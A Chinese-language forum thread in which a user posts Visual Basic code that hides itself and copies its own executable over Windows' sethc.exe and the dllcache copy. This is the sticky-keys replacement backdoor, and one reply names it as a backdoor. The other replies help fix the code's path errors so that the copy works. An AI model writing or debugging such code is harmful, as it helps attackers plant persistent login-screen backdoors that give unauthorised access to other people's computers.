Private Sub Form_Load()
Me.Hide
FileCopy App.Path & "App.EXEName", App.Path & "C:\WINDOWS\system32\sethc.exe"
FileCopy App.Path & "C:\WINDOWS\system32\sethc.exe", App.Path & "C:\WINDOWS\system32\dllcache\sethc.exe"
End Sub

他老提示
run time error"53"
file not found
这个自我复制有问题吗

这后门

这只是一部分

FileCopy App.Path & "App.EXEName", App.Path & "C:\WINDOWS\system32\sethc.exe"
这句有问题

当 路径不是在 根目录时， app.path 返回的路径不包含最后一个 \ 字符。
如 C:\windows 而不是  c:\windows\

加以判断吧。

可以的话请用【Environ$】？？变量，呃，忘了是环境变量吗？
App.Path & "\" & App.EXEName '加个杠杠就行了。

c:/.....前边就不要加app.path了吧？

那如何写他复制到的文件名呢